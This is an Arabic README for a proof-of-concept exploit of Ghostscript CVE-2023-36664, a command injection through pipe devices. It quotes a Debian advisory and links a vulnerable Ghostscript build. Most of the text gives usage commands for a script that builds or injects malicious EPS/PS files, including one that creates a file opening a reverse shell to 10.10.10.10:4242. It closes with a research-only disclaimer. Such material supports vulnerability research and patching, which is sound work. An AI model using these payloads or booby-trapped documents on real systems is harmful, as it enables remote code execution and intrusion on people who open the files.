
استغلال إثبات المفهوم لحقن الأوامر في Ghostscript (CVE-2023-36664) مع توليد الحمولة وحقنها في ملفات EPS/PS لتنفيذ التعليمات البرمجية.
تم الكشف عن ثغرة في Ghostscript إصدارات ما قبل 10.01.2 تؤدي إلى تنفيذ أكواد (درجة CVSS 9.8).
الرسمي وصف الثغرة:
يتعامل Artifex Ghostscript حتى إصدار 10.01.2 بشكل غير صحيح مع التحقق من الأذونات لأجهزة الأنابيب (مع البادئة %pipe% أو بادئة حرف الأنبوب |).
ديبيان أصدر تحذيرًا أمنيًا يذكر إمكانية تنفيذ أوامر عشوائية:
"تم اكتشاف أن Ghostscript، مترجم GPL PostScript/PDF، لا يتعامل بشكل صحيح مع التحقق من الأذونات لأجهزة الأنابيب، مما قد يؤدي إلى تنفيذ أوامر عشوائية إذا تمت معالجة ملفات مستندات غير صحيحة."
تم إنشاء هذا المستودع لمنشور مدونة تحليل CVE متاح على مدونة vsociety.
حمّل Ghostscript 10.01.1 من هنا: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 رابط مباشر لملف ويندوز القابل للتنفيذ (x64): https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
يمكن أن يحدث الاستغلال عند فتح ملف PS أو EPS ويمكن أن يسمح بتنفيذ أكواد نتيجة لسوء تعامل Ghostscript مع التحقق من أذونات أجهزة الأنابيب.
الاستخدام: python3 CVE_2023_36664_exploit.py <input_file> <command>
مثال:
python3 CVE_2023_36664_exploit.py file.eps "calc"
يؤدي هذا إلى إنشاء ملف جديد يسمى file_injected.eps.
افتح هذا باستخدام Ghostscript لتشغيل الآلة الحاسبة (منذ الإصدار 9.50، يجب أيضًا استخدام الخيار -dNOSAFER):
gs10011w64.exe -dNOSAFER .\file_injected.eps
أمثلة أخرى:
أنشئ ملف EPS جديد باسم run_calculator.eps مع حمولة "calc" (تظهر آلة حاسبة جديدة على ويندوز)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
أنشئ ملف EPS جديد باسم rev_shell.eps مع عنوان IP مخصص (يبدأ شل عكسي عند التشغيل على يونكس)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
أنشئ ملف PS جديد باسم malicius.ps مع حمولة "calc" (يظهر آلة حاسبة جديدة على ويندوز)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
احقن حمولة مخصصة خبيثة ("calc") في ملف موجود اسمه file.eps (تظهر آلة حاسبة جديدة على ويندوز)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي فقط وتطوير تقنيات دفاعية فعالة، وليس المقصود منه استخدامه لمهاجمة الأنظمة إلا حيثما تم التصريح بذلك صراحةً. القائمون على المشروع ليسوا مسؤولين أو ملزمين عن سوء استخدام البرنامج. استخدمه بمسؤولية.